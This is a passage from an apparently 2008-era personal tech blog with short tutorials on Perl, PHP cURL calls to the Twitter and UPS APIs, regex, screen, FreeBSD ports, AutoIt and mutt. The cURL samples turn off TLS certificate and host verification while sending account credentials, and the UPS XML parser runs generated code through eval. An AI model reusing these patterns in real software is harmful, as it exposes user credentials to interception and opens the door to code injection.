if (defined($url)) {
        my $pr = WWW::Google::PageRank->new;
        print scalar($pr->get($url)), "\n";
} else {
        print 'Page not specified!'. "\n";
}

The first couple of lines initiate perl and get library files. If you are using Dreamhost as your webhost you can follow this guide to download perl library modules into your home directory.

The ‘$ARGV[0];’ part of the code simply means to accept a paramter when executing the script. So you can do stuff like, ‘perl myperl.pl someArgument’.

The rest of the code is just initilizing the module or printing an error message if no argument is passed.

To execute your code do, perl whateverYouNamedYourScript.pl http://www.yoursite.com’.

The PHP Code

Once you have your working perl file you should be able to execute it from your shell. If all goes well it should return an integer between 1 and 10 representing the site’s google page rank. Now if you want to make PHP display the rank you can use the ‘shell_exec’ command to execute and return the output.

<?php
$output = shall_exac("perl /home/username/Pagerank.pl http://www.yourpage.com");
echo "The page rank for this site is: $output";
?>

Note: You must change, shall_exac to shell_exec. Due to the security settings on this domain I can’t even post the correct command anywhere near php code without getting an error in wordpress. Kinda weird but I am not complaining.

If you noticed in the above code you usually have to specify the absolute path to the perl file. Some sites are also setup to only run executable files from outside of the web path for security reasons. This is why I stored my file in my home directory.

Thats it!

Using Regular Expressions to Match XML

2008-08-25T00:00:00Z

After reading the chapter in my Perl book about regular expressions I decided to go ahead and solve one of the problems I usually have when getting cURL data.

Often times I had cURL report back the HTTP header with the XML data. Although I can disable this and tell cURL to only display the XML data, I wanted to be able to use the header data to distinguish if the website is reachable or not. This is especially useful for web apps that go down often like Twitter.

Until recently I have been using PHP’s function ‘strstr’ to cut out only the XML portion of the cURL response.

$data = strstr($result, '<?');

Although this seems to do the job, regular expressions are far more portable. Perl for example doesn’t have a simple function for cutting the string off where the ‘<?’ starts. Instead it uses a far more powerful system. They use regular expressions for everything. Once you learn how to use them you will use them for all types of string manipulations.

Since regular expressions are used in a multitude of different programming languages and programs themselves, I thought it was worth learning one system that can be used in virtually every situation that requires string minipulation.

The code

So here is the snippet that I use for matching XML in a cURL response now.

preg_match("/(\<\?xml[\d\D]*\?\>)/", $xml, $result); data = $result[0];

I will break down each part of the code one by one to make it easier to understand.

The breakdown

The first part of the code is initiating the ‘preg_match’ function. This is PHP’s built in function that handles Perl Compatible Regular Expression matching.

The next part of the code is the actual regular expression, ‘/(<\?xml[\d\D]*\?>)/’.

The first part of the regular expression is a slash, ‘/’ And the end of the regular repression is also a ‘/’. This marks the part of the code that we want to match. Anything after these slashes are called regular expression option modifiers. These can include case insensitive ignore whitespace and other things. In this example we are not using any of these.

the parentheses, ‘(’ just like in math problems allow us to group certain matchings and do matchings based on those groups. In Perl the first group has a variable name of, ‘$1’ as a shortcut. Since I like shortcuts I add the parentheses even on single match phrases.

Next we have, ‘<\?xml’. Just as in PHP, regular expressions have reserved/special characters. It just so happens that we need to use escape two of those characters right off the bat. The first one is ‘<’ and the next one is the question mark, ‘?’. The backslash in front of these characters tells PHP to use ? as the character instead of using its special meaning.

Then we have ‘[\d\D]’. The brackets represent a range of characters that we want to match. You can have various things in here, like ‘[0-9]’ or ‘[a-z]’. The ‘\d’ is a shortcut for saying we want to match digit characters. The ‘\D’ is a shortcut for NON digit characters. In other words we did all that because we wanted to say “Match everything”.

The next part is the asterisk, ‘*****‘. This is what we call in regular expressions a multiplier. A multiplier tells the script how many times to match something. This particular multiplier we are using here means, match zero or more times.

Finally we have, ‘\?>/’. Which as you probably guessed means that we want to stop matching when we find the string ‘?>‘

$result[0]; is just the first match that it comes across. If there were multiple XML snippets in a text file you could do $result[1]; for the next match.

Adding Shell to Vim Using Screen

2008-08-22T00:00:00Z

When programming in Perl or any language that requires you to run it from shell it is often helpful to have two screens open at once. One screen for your editor and one screen for running the program. This is how most IDEs (Integrated Development Environment) are structured; however, since I love Vim and the Linux command line I use a program called screen to make my own IDE type setup.

Here is how I do it…

Install screen

First thing you will want to do is install screen. It is one of the most useful programs for system administrators and users of the Linux command line because you can “detach” your terminal if you are working from a remote location and come back to the exact terminal as when you left.

We are going to use it for our vim IDE but you will probably need it sooner or later for other tasks so download it now with your package manager.

For Debian systems:

apt-get install screen

FreeBSD users:

cd /usr/ports/sysutils/screen make install clean

Setting it up

To start screen do ‘screen’ or ‘screen -r‘

The ‘screen -r’ will reattach the previous screen you had if you had any.

Then split the screen with,

Ctrl + a S

The ‘S’ is capitalized.

Once this is done you should have a two windows both at 50%.

Since I want to use most of my screen for editing and a small portion for by shell I went ahead and made the top screen have 50 lines by doing…

Ctrl + a then :resize 50

To move from one screen window to the next you will use:

Ctrl + tab

Once you have all that setup you can open your script up do some quick edits and jump down to the next screen and do an execute. Happy programming!

How Do I Find Open Ports on FreeBSD?

2008-08-20T00:00:00Z

Sometimes it is helpful to know which ports are currently open on your server. On my FreeBSD servers I like to use the sockstat command. It is very similar to the netstat command for Windows or Linux. You can configure it to show IPv4 ports, IPv6 or both.

One of the benefits of checking your server’s open ports with sockstat, is its ability to generate a quick list of all your services. Once you have a list of services listening on specific ports you can go through each one and see if you really need it. This is helpful because reducing unneeded services is often the first recommended step towards securing a server.

A list of active services also gives you an idea of which ports you need to allow through your firewall. This is especially useful if you use a “deny all by defaut” type configuration.

To get a quick list of open ports I use:

sockstat -4 -l

This command shows all listening IPv4 ports.

To check IPv6 ports you would use:

sockstat -6 -l

And then of course if you want to display all ports simply use:

sockstat

Another useful thing to do is print off the list for future reference by piping the output to the printer (lpr).

socstat -4 -l | lpr

Installing Apache on FreeBSD 7.0

2008-08-14T00:00:00Z

Now that you have MySQL installed you might want to install the famous Apache web browser on your FreeBSD system. This post will be a quick walk through for installing Apache with PHP5 with mostly default settings to help you get going quick.

To install the latest version of Apache run this as root:

`# cd /usr/ports/www/apache22

make install clean`

I find that the defaults are usually fine when compilling this since you will be adding the PHP5 module later. So when the options screen comes up just go ahead and hit ok.

Then once it is installed you can start it by doing

# /usr/local/sbin/apachectl start

To run apache www server from startup, add apache22_enable=“YES” to your /etc/rc.conf file.

You might then want to go to your webserver either by viewing in a console browser and pointing it to ‘127.0.0.1’ or use a networked computer with a browser and point it to your FreeBSD machine’s IP address.

Installing PHP5

To install the base language files do:

/usr/ports/lang/php5 make install clean

When the options screen comes up make sure you select “build Apache module”.

Then open up ‘/usr/local/etc/apache22/httpd.conf’ and as instructed by the php5 port you will want to add index.php to the DirectoryIndex.

Then also as instructed by the PHP5 port add these lines near the bottom of the config.

AddType application/x-httpd-php .php AddType application/x-httpd-php-source .phps

Then you will need to create the php.ini file. For ease of getting this working fast. We will stick with the defaults. Just do…

/usr/local/www/apache22/data]# cp /usr/local/etc/php.ini-dist /usr/local/etc/php.ini

After you have added this you can go ahead and restart Apache to see your changes. To restart do:

/usr/local/sbin/apachectl restart

You can test to see if php works easily by making a file called test.php in ‘/usr/local/www/apache22/data/’ with the regular phpinfo code. Then simply point your browser to ‘youripaddress/test.php’.

Thats it!

Getting Your Twitter Updates with Curl

2008-08-12T00:00:00Z

I have had some serious issues integrating Twitter into my site using the javascript method. Firefox seems to load the twitter updates every time without a problem; however, Internet Explorer and Opera both have issues.

Opera for example will load the twitter updates on the first load of the page or if the twitter feed has been updated but will not load the second time the page is loaded. You can see this on a number of sites that use the javascript method of gathering twitter updates. Just go to their site and hit refresh and the twitter updates will disapear. Even sites that use twitterjs script from code.google.com don’t load properly after a refresh.

With Internet Explorer I found that it was hit or miss. Sometimes they would load sometimes they wouldn’t. In my testing I found that Internet explorer behaved exactly like Opera; although, I have seen some sites that have gotten it to work.

After messing with these browsers trying to get it to work I decided to bag the whole thing and store the twitter updates in a database using PHP and cURL.

The advantages:

You can minipulate the data any way you choose. You’re not limited by only recieving the data >li< format. If twitter is down you can still display your latest tweets. Since the code is in PHP and not JavaScript I can utilize wp-cache

The disadvantages:

Since I will be pulling the data from twitter and storing it periodically there may be a delay before my site recieves the latest tweets.

Getting the Tweets with cURL

This is the function I came up with to grab the tweets from Twitter.

function twitterCapture() {
        // Set your username and password here
        $user = 'YOUREMAILADDRESS';
        $password = 'YOURPASSWORD';

        $ch = curl_init("https://twitter.com/statuses/user_timeline.xml");
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch,CURLOPT_TIMEOUT, 30);
        curl_setopt($ch,CURLOPT_USERPWD,$user . ":" . $password);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
        $result=curl_exec ($ch);
        $data = strstr($result, '<?');

        $xml = new SimpleXMLElement($data);

        return $xml;
}

Code Explanation

The first part of the code is here so you can set your username and password. Replace these values with your actual username and password.

// Set your username and password here
        $user = 'YOUREMAILADDRESS';
        $password = 'YOURPASSWORD';

This next part of the code tells cURL which site to open.

$ch = curl_init("https://twitter.com/statuses/user_timeline.xml");

If you check out the Twitter API you will notice that this URL will output different responses based on the last part of the URL. Possible formats are: xml, json, rss, atom. In this case we used XML.

The next part of the code are the cURL options.

curl_setopt($ch, CURLOPT_HEADER, 1);  
curl_setopt($ch,CURLOPT_TIMEOUT, 30);  
curl_setopt($ch,CURLOPT_USERPWD,$user . ":" . $password);  
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);  
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);  
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);

The first option, CURLOPT_HEADER, simply says that we want to see the http header. This is useful for when twitter throws out a 502 or 503 error. This allows you to build into your script error reporting functions to alert you that your script can’t reach out to Twitter.

The second option, CURLOPT_TIMEOUT, is the time in seconds that we give cURL to complete its task.

The next option, CURLOPT_USERPWD, is the username and password curl shall use if requested. In our case it is.

CURLOPT_RETURNTRANSFER, is used when we want to return the data instead of printing it to the screen.

CURLOPT_SSL_VERIFYPEER and CURLOPT_SSL_VERIFYHOSTwhen set to ‘0’ are used to ignore SSL errors. You might want to change CURLOPT_SSL_VERIFYHOST to ‘1’ once you get your code working. This will ensure that you don’t accidently send your username password to a site pretending to be Twitter.

This part of the code executes cURL and puts the XML part of the code into the variable ‘$data’. We had to use the function strstr because cURL also returns the HTTP header as per our, CURLOPT_HEADER option. Our parser only wants the stuff that starts with, <?.

$result=curl_exec ($ch);
$data = strstr($result, '<?');

Usage

Simply call the function like this:

$xml = twitterCapture();

Then all you have to do is echo the part of the xml you want.

echo $xml->status[0]->text;
echo $xml->status[1]->text;
echo $xml->status[2]->text;

This would echo out the three most recent tweets. You can also pull other information such as, creation date and profile pictures. Just look at the XML response to find out what other values you might want to pull.

I recommend grabbing the the updates from Twitter and storing them in a text file or database every so often. I wouldn’t run a cURL fetch each time the page loads. This can cause problems if the Twitter is down and your vistors may have to wait up to 30 seconds (whatever your CURLOPT_TIMEOUT is set to). Then point your blog/website to the text file or database.

Weekend Link Roundup: Week 18

2008-08-09T00:00:00Z

curl usage explained - I love curl!

Using cURL to interact with Google data services - A great resource from Google showing common usages of cURL interacting with their services.

Test your ISP - This is a very interesting project lead by the Electronic Frontier Foundation. In light of the recent comcast debacle they have started a project that helps you determine if your ISP is up to no good. They also have a list of free apps to help out.

Google Apps Tips - If you are like me you use Google apps for pretty much everything. Here are some nice tips for managing your email, docs, and more.

The Largest Wifi Wireless Cracking Ever - Time and time again I tell people to at least turn on WPA on their wireless routers.

Raggle - A sweet console based RSS reader that uses vim like shortcuts and easy to configure.

Get sed savvy - If you are into automating things, using regular expressions, and learning the REAL “power user tools”, this article is for you. It gives a nice introduction to sed an extremely powerful program.

PuTTY: a free telnet/ssh client - Since I used this program constantly I thought I would get a shout out to PuTTY. A wonderful ssh client for windows.

Introduction to AutoIt

2008-08-08T00:00:00Z

Ever dream about automating mundane tasks? Or wish you could train you computer to do your work for you? I think we would all love to have the power of automation in our lives. With AutoIt we can easily take a boring repetitive task and automate it. AutoIt can send key strokes and mouse movements to your computer. But what makes AutoIt most useful is that it is actually a scripting language allowing If/then logic, flow control, variables and has support for PCRE (Pearl Compatible Regular Expressions). Once you create your script you can even compile it into a single .exe file.

I hope to highlight the most used functions that I used and some of the syntax, as well as get you started with some example code.

Downloading Autoit

Go ahead and head over to autoit’s website and download Autoitv3 Full Installation. You will also benefit by getting the script editor.

When you go to install the software there will be an option on how to handle .au3 files. I usually select run since there is a right click menu for editing through the SciTE editor.

The basics

Start off by making a file called MyFirstScript.au3. Then right click on it and select edit script (assuming you installed the script editor).

Then we will add our first function, MouseMove:

MouseMove(500,500,1)

Save your script with a ctrl+s and run it by double clicking your .au3 file. Did you see it? It might have been fast but you just told your computer to move the mouse to the coords 500w by 500h. The 1 at the end of the code is the speed at which your mouse travels, 1 being almost instantaneous. Go ahead try putting different values and make your mouse move around.

Comments

Comments in autoit are a bit strange. They use a semicolon.

;This function will move my mouse MouseMove(500,500,1)

Sending keystrokes

The next thing you will probably want to do is send a keystroke. To send text and keytext you will use the send() function.

send("{TAB}{ENTER}{DOWN}")

This would obviously hit the tab button, then enter, then down. By default most commands in autoit are delayed by fractions of a second because if they wernt it would be hard to distinguish between hitting a key at the same time or seperately. In this cause the tab, enter, and down would be hit one by one in less than a second. NOT at the same time. More on this later.

send("I love this site")

This code would print out, “I love this site” as if it were typed in by hand.

Sleeping

Autoit is very powerful and can execute commands too quickly if you are not careful. Most of the functions actually have a speed variable or they are default delayed by fractions of seconds to limit the chance of going to fast. The best way to slow the script down is using the sleep command.

sleep(1000)

Since the sleep function is in milliseconds, this code would hold the script from further processing for one second. 500 would be half of one second.

If/Then

If statements are structured like this:

If $confirm == 6 Then ;Do something here Else Exit EndIf

Which brings me to my next point…

Variables

Variables in autoit are similar to php. They use the dollar sign naming convention

;Get the contents of the clipboard and put it in a string $clipboardContents = getClip()

Execute code when a shortcut is pressed

The easiest way to do this is make a never ending loop that is waiting for a specific keystroke.

#include<misc.au3> ;needed to capture keystrokes While 1 If _IsPressed("11") And _IsPressed("31") Then ;Do your movements here EndIf Wend

This snippit would execute code with the combination of ctrl+1 was pressed. You may wonder what the 11 and 31 is then. They are ascii codes.

Common keys used

BACKSPACE {BACKSPACE}, {BS}, or {BKSP} BREAK {BREAK} CAPS LOCK {CAPSLOCK} DEL or DELETE {DELETE} or {DEL} DOWN ARROW {DOWN} END {END} ENTER {ENTER}or ~ ESC {ESC} HELP {HELP} HOME {HOME} INS or INSERT {INSERT} or {INS} LEFT ARROW {LEFT} NUM LOCK {NUMLOCK} PAGE DOWN {PGDN} PAGE UP {PGUP} PRINT SCREEN {PRTSC} RIGHT ARROW {RIGHT} SCROLL LOCK {SCROLLLOCK} TAB {TAB} UP ARROW {UP} F1 {F1} F2 {F2} F3 {F3} F4 {F4} F5 {F5} F6 {F6} F7 {F7} F8 {F8} F9 {F9} F10 {F10} F11 {F11} F12 {F12} F13 {F13} F14 {F14} F15 {F15} F16 {F16}

What can you do with it?

Well, its most common usage is automating installs. When people make unattended Windows CDs they usually want to install a list of apps that they use all the time. Many times these apps have automation install flags. For example Firefox can be installed with, “start /wait setup.exe -ms -ira”.

The problem is that some programs don’t have these automation flags and some people want more control over the installation other than the defaults. This is where autoit comes in.

You can also automate pretty much anything that requires mouse and keystrokes. It might be as simple as making a script that opens up multiple programs or as complex as an auto aim bot for a video game.

I can tell you right now that you will probably get addicted to automating once you get started. I have automated tons of stuff with this already. There is just so much you can do with it.

Stay tuned for more later…

Sending Post Data With cURL

2008-08-07T00:00:00Z

I have a script on my local computer that needs to send data to my website for further processesing. To accomplish this I use a powerful tool called cURL. cURL is an open source program that lets me send or recieve HTML data in pretty much any structure you could think of. I am going to use cURL to send POST data to a PHP script on the site.

Make sure you have cURL.

curl -V

This should print out the version of cURL you have. Note their are some bugs in older versions of cURL that doesn’t handle DNS very well and can cause your scripts to slow down. Make sure you are up to date.

To Install cURL on a debian based system do:

apt-get install curl

First thing you will want to do is test your cURL by just pointing it to your website.

curl https://www.marksanborn.net/

If everything is well curl should output all of the HTML to your screen.

Next thing you will want to do is setup your PHP script to accept POST data. A simple script might look something like this:

<?php
$value1 = $_POST['value1'];
$value2 = $_POST['value2'];
$value3 = $_POST['value3'];

if ($value1 == 'foobar') {
    // Do something with it.
} else {
    echo 'Invalid Request';
}
?>

Of course if you are doing any MySQL data exchanges or anything else of that nature you will want to sanatize the data before using it.

Then to send the data with cURL you send:

curl -d "value1=foo&value2;=foo2&value3;=foo3" https://www.marksanborn.net/someScript.php

Real world example

For those of you that are wondering what you could do with this, I will give you a real world example.

I built a BASH script that will send the tracking number, ship method, and order number to Google checkout. Google checkout will then process the order, send an email out to the customer, and archive the order. In other words, after every label is printed from the local shipping computer it runs a BASH script with the tracking number and the BASH script sends all the info up to Google.

You could use this for any website that has post fields (as long as it doesnt have a captcha). So you could send automatic twitter messages or interact with Google services.

Get Consistent Margins In Your CSS

2008-08-06T00:00:00Z

Getting consistent margins in CSS across all browsers can be a pain. I have tried quite a few CSS clears but this one seems to work the best for me. The reason these come in handy is because IE, Firefox, and Opera all have different default margins and can cause weird formatting issues later on. This is why I usually include this on the first line of my CSS sheets. This clears out all the margin values so that I can set them later for a consistent layout across all browsers.

html, body, div, h1, h2, h3, h4, h5, h6, ul, ol, dl, li, dt, dd, p, blockquote, pre, form, fieldset, table, th, td { margin: 0; padding: 0; }

Some people just do a:

* { margin: 0; padding: 0; }

But I have found that it effects more elements than necessary. After doing more research I found some articles that explain why this is way is bad in more detail. Check out this post and this one for more information.

I have found that this CSS reset has worked for me in the past. It might not be the best solution but it is what I use. What do you use?

Using Variable Variables in PHP

2008-08-05T00:00:00Z

When I was codeing I didn’t know how in the world I was going to be able to have incrementing variables in my code. That was until I searched the php.net website and came up with variable variables. I had no idea what these were until now.

The problem

Recently I needed to loop through a few items in a shopping cart and send it through a function that encodes the data and sends it off to Google Checkout. The problem was that each function needed to be refrenced by a different variable name otherwise the items would all end up being the same.

When you want your variable names to change in PHP you need to use variable variables.

An example

$item = "item_$counter";
$total_count = $quantity;

$$item = new GoogleItem("$productName - $productSize",  // Item name
"product description", // Item description
$total_count, // Quantity
$price); // Unit price                                                                                                                                                                 $cart->AddItem($$item);

Basically what is happneing is my variable name is stored in a variable called $item. That variable is set to a value of item_$counter. In my loop this code will increment the counter and make a item_1, item_2, item_3 etc..

This is the first time I have encountered these gems. Anyone else have to use them?

Reading HTML Email with Mutt

2008-08-04T00:00:00Z

Mutt is my new favorite productivity tool. I have been blazing through my emails and setting up custom macros and commands like crazy. I have have found myself optimizing mutt more than actual reading email since it makes checking email go by so fast. Like Vim I would say mutt has dramatically changed the way I do things.

One of the things I get a little annoyed by is emails written in HTML. I have no need for images and other garbage filled emails. I would say 90% of the emails that contain HTML are spam; however, I occasionally I needed to read those HTML emails.

The only thing you have to do for Mutt to read HTML is tell it which browser you want to open.

Setting it all up

First install Links2 with your distro’s package manager.

apt-get install links2

Then create a file called, .mailcap in your home directory with the following lines:

text/html; links2 %s; nametemplate=%s.html text/html; links2 -dump %s; nametemplate=%s.html; copiousoutput

This will tell mutt to open the html files with links2 and then dump them back to the screen. This is handy so you don’t have to open the full links2 browser.

Then add this to your .muttrc:

auto_view text/html

Now when you go to read an email with HTML you should be able to see it without all the markup.

Weekend Link Roundup: Week 17

2008-08-02T00:00:00Z

The Mutt E-Mail Client - I have recently started to use mutt for checking my gmail email. I have to say that once you get it all setup you can blaze through emails.

Subversion - This is another application that completely changed my life as a developer. If you are creating websites or working on a new app for a site or even just trying to keep Wordpress updated Subversion (SVN) is an absolute must. If you have never heard of it I suggest you drop what you are doing and head over there.

New Digg Mobile site released - If you are a Digg fan and use mobile devices they have added a new site. Check it out.

8 Best E-mail Clients for Linux - If you don’t like mutt here are 7 other email clients (mutt is one of them).

How to Install KDE 4.1 on Ubuntu 8.04 - Step by step guide for the KDE lovers.

10 Cool Open Source Easter Eggs - A pretty fun list of open source easter eggs!

nVidia ⁸⁰⁰⁰⁄₉₀₀₀ Series Performance Issues - Normally nvidia has been good to the Linux community; however, I have an 8800gts and I have had horrible experience with 2d part of drivers. It has been over a year since I have looked for a fix and now I find this forum post. It turns out I am not crazy. Their drivers really do suck for 2d.

Optical storage goes deep: 1TB stored in three dimensions - If you thought Blueray was big. Check these puppies out.

Why I Use Mutt

2008-08-01T00:00:00Z

Mutt is a console based email client and have been using it heavily the last few weeks. Now that I have everything setup the way I like I think it is the best email client I have ever used. I use Gmail for my email but ever since they allowed IMAP I have been looking for an email client that can provide, productivity and simplicity.

After trying Thunderbird and other GUI applications I was put off by the complexity and actually found my productivity decreasing. These GUI programs would often have memory leaks and would use mass amounts of memory. Something I thought was unnecessary when simply reading text emails. I even found that the Gmail’s web-interface was actually a lot faster than using a mail application. That is until I found the mutt.

The reasons why I love mutt

Its faster than anything I have ever used. Mutt tries to group tasks and commands before sending them to the IMAP server. For example when you want to delete a bunch of emails you flag them as deleted in mutt and then when you are ready you hit, ‘$’. And all those emails will be deleted in one swoop. This also happens when you move/archive emails. So you are never waiting (even for a second) when you archive an email.
Emails can be downloaded while you are reading. This is especially helpful when on a slower connection.
It is extremely customizable. For example 90% of my emails are sorted into two folders. These folders are @NextAction and @WaitingFor. Why the @ symbol? Because characters come before the letter ‘a’ in alpha-numeric sorting. I can then configure mutt to place an email into the respected folder by binding a key to a macro that moves that email to the that folder. In Gmail’s interface I would have to click a drop down and select the folder. This is about the most simple macro I could think of. Mutt can be configured to do almost anything you could imagine. If you want to get rid of a yes/no prompt or automatically fill a certain field in every time you can easily do that.
Console based. This means it doesn’t need to load up graphics and cause lots of memory to be used. It also forces the user to use the keyboard which makes managing email much faster when you learn to stop grabing that darn mouse. It comes with every distro of Linux/FreeBSD that I have ever used and can be configured in minutes. Best part is if you save your config file you can transfer your settings from computer to computer without clicking all over in a GUI system checking check boxes filling out forms and going through endlesss amounts of wizards to get things configured properly.
Shortcuts that makes sense. The mutt shortcuts all revolve around keeping your hands on the home row. Like Vim, your movement keys are ‘j’ and ‘k’. If you are familiar with vim you will already feel right at home with mutt.
Compose messages with your favorite editor. Speaking of Vim. Mutt allows you to compose messages with your favorite editor. So if you are already effecient with Vim you will be able to use it without learning different shortcuts and commands.
Great support for mailing lists. I have found that mailing lists are where the experts communicate on their specific topics. I have learned a lot by subscribing to mailing lists and reading them daily. I find that the quality of content in mailing lists surpasses most forums. The problem with them however is that they can clog your inbox with unimportant emails. Also they can be hard to read if there are lots of replys. Mutt allows you to configure which emails are from mailing lists and it will treat them differently. It also displays them in a threaded hiarachy so it is easy to keep track of them.
Support for attachments. You can configure mutt to open html emails with any type of text browser such as, lynx, links, w3m, or links2. You can open word/pdf documents with a console converter or have your terminal launch Open Office. Although most email clients will do this I like having the option of opening word documents in plain text for speed reasons.
Regular expressions. Although Gmail’s search function for emails might never be matched mutt provides regular expressions. So you can easily search through hundreds of emails in seconds. You can also use regular expressions to automatically filter, delete, flag, write, or move emails.
Macros. Ok I know macros are kind of an advanced or scary thing, but mutt makes them worth learning. For example if you started to recieve common questions in your email you could set up a macro and bind it to a key for fast replys. The macro would compose a message and automatically include the person’s name and custom message based on their question.
Security. Although must clients support gpg/pgp, mutt makes is easy to setup and send encrypted emails. You also don’t have to worry about code being executed or images tracking your email behavior.

Tracking UPS Packages with PHP

2008-07-29T00:00:00Z

Update: For a no fuss, 100% complete UPS Online Tools script with label printing support, integration support and automatic certification generation (required by UPS), I have created, RocketShipIt.

By now you should know how to look up a UPS rate with PHP. Now we are going to look into tracking the package using the UPS tracking XML API. This tool uses the same process as the rate selection tool so it should look familiar to you.

This article is going to be laid out a little bit different than my previous UPS articles. Instead of simply walking your through the code and providing an example I am going to try to break down the code in pieces and explain how each part works so you have a deep understanding of the code when you go to customize it for your application.

Things you will need

UPS Online Tool Account - free but requires registration UPS Access Key - Comes with the online tool account cURL - Most LAMP (Linux, Apache, Mysql, PHP) web hosts have this installed by default. If you are using Dreamhost you already have this installed. PHP - You must know a little bit about using php. After all you are about to create a custom UPS shipping calculator. XML - If you know what PHP is you should know what this is. If not read about it here. SSH access - Many web hosts offer this. You don’t HAVE to have it but it makes troubleshooting easier (another reason i like Dreamhost).

If you want some more detailed information about customizing the request with different XML paramaters you can check out their manual called, ‘dtk_TrackXML_V1.zip’. You will have access to it once you sign up for the free UPS Online Tool Account.

Setting it up

Copy the UPS Tracking PHP Function I have created into a new .txt file and name it upsTrack.php. Go through this function and find the parts in the XML file that are in CAPS, You will need to add your access key, username, password, etc…

Then create another .php file and make sure to include upsTrack.php.

It might look something like this:

require("upsTrack.php");

Now all you have to do to get an tracking information for a package is call the upsTrack function.

The basic syntax for the function is:

upsTrack($trackingNumber);

Since this function returns an array it is often useful to put it into a variable:

$someArray = upsTrack('YourTrackingNumberHere');

This way you can return any portion of the xml data you wish. For example if you wanted to find out the scheduled delivery date of the package you could simply do:

echo $someArray['TRACKRESPONSE']['SHIPMENT']['SCHEDULEDDELIVERYDATE'];

If you are wondering how I knew how the array was structred you can do:

print_r($someArray);

This will give you all the possible data fields from the XML response.

Breaking down the code

The first part of the code creates the function called, ‘upsTrack’. This function is setup to accept the variable, ‘$trackingNumber’. The rest of this snippet is the XML data that we will be sending to the UPS API servers. If you need to modify this part of the code you will need to check out the UPS Tracking manual in, ‘dtk_TrackXML_V1.zip’.

Remember to change the the ACCESSNUMBER, USERNAME, and PASSWORD to the your actual values.

<?php
function upsTrack($trackingNumber) {
$data ="<?xml version=\"1.0\"?>
<AccessRequest xml:lang='en-US'>
  <AccessLicenseNumber>ACCESSNUMBER</AccessLicenseNumber>
  <UserId>USERNAME</UserId>
  <Password>PASSWORD</Password>
</AccessRequest>
<?xml version=\"1.0\"?>
<TrackRequest>
  <Request>
    <TransactionReference>
      <CustomerContext>
        <InternalKey>blah</InternalKey>
      </CustomerContext>
      <XpciVersion>1.0</XpciVersion>
    </TransactionReference>
    <RequestAction>Track</RequestAction>
  </Request>
  <TrackingNumber>$trackingNumber</TrackingNumber>
</TrackRequest>";
$ch = curl_init("https://www.ups.com/ups.app/xml/Track");

This next part of the code is where we setup cURL. cURL is the program we use to send the XML request data in our, ‘$data’ variable (the stuff above).

Note: You can uncomment the echo if you want to see the raw XML data response in the HTML comments.

$ch = curl_init("https://www.ups.com/ups.app/xml/Track");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_TIMEOUT, 60);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$result=curl_exec ($ch);
// echo '<!-- '. $result. ' -->';
$data = strstr($result, '<?');

The rest of the code simply puts the XML into an array with values that correspond to the XML tags. This makes it eash to extract specific values. Unless you know what you are doing I would stay away from editing this part of the code.

$xml_parser = xml_parser_create();
xml_parse_into_struct($xml_parser, $data, $vals, $index);
xml_parser_free($xml_parser);
$params = array();
$level = array();
foreach ($vals as $xml_elem) {
 if ($xml_elem['type'] == 'open') {
if (array_key_exists('attributes',$xml_elem)) {
         list($level[$xml_elem['level']],$extra) = array_values($xml_elem['attributes']);
} else {
         $level[$xml_elem['level']] = $xml_elem['tag'];
}
 }
 if ($xml_elem['type'] == 'complete') {
$start_level = 1;
$php_stmt = '$params';
while($start_level < $xml_elem['level']) {
         $php_stmt .= '[$level['.$start_level.']]';
         $start_level++;
}
$php_stmt .= '[$xml_elem[\'tag\']] = $xml_elem[\'value\'];';
eval($php_stmt);
 }
}
curl_close($ch);
return $params;
}

A working example

To prove this code works as is I copied and pasted it and added a form. Here is the working model of the UPS tracking function.

Changing the MOTD in Linux

2024-05-10T00:00:00Z

Ok today is going to be a quick post on how to change the Message Of The Day or MOTD. This is the message that you will see when you first log into your shell either through ssh or on the machine.

The message of the day is really just a text file. It got its name because it was easier and used less disk space to send a message to all of your users than using email.

To change the MOTD you have to edit the /etc/motd file. Simply open it up with your favorite text editor. You can create it if it doesn’t exist:

vim /etc/motd

Type your message that you want to see and save it. The next time you login you should see your message!

If you want to just add a line to your MOTD without opening your text editor you can just use the echo command and appened (>>).

Note: Only root will have access to change the motd file.

echo "This is an added line to my message of the day" >> /etc/motd

If you want some cool ascii code in your MOTD install a small app called figlet:

apt-get install figlet

Then use it like this:

figlet text you want to convert or figlet test:

 _            _
| |_ ___  ___| |_
| __/ _ \/ __| __|
| ||  __/\__ \ |_
 \__\___||___/\__|

Other fun things

There are many other fun things you can add to your MOTD to spice it up. After adding some ascii text of maybe the computer’s name I like to put a quote or something funny.

I like to mix two programs, fortune and cowsay.

 ________________________________________
/ You will obey or molten silver will be \
\ poured into your ears.                 /
 ----------------------------------------
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||

You can install both of these programs with apt or whatever package managment software your distro uses. On arch you can do sudo pacman -Syu cowsay figlet

Thats about it. Have fun…

Weekend Link Roundup: Week 16

2008-07-26T00:00:00Z

42 of the Best Free Linux Video Software

3 Ways to Try Out Linux, For a Windows User - Although I think a live CD is easier than most of these its worth checking out if you havn’t been introduced to the world of Linux yet.

Mac vs PC vs Linux (pic) - A nice picture showing the differences between the top operating systems. Although I think they should replace the Ubuntu logo with a Gentoo logo for added comedy.

htaccess editor - A nice handy tool for making various .htaccess configurations.

Hammer drops at last: FCC opposes Comcast P2P throttling - Finally some good news. Throttling and shaping is bad mmmkay…

10 ways to make Linux boot faster - Make your linux boxes boot faster with these tips. I like the one where it says use Gentoo or a smaller distro over Ubuntu.

Five Best Alternative File Managers (For Windows) - For a better file manager check these out. I haven’t tried it but I hear that Total Commander is really good.

Creative Code: 14 Ways to Learn From Creative Programmers - Quite a cool article about programming.

Compress Images For Faster Load Times

2008-07-25T00:00:00Z

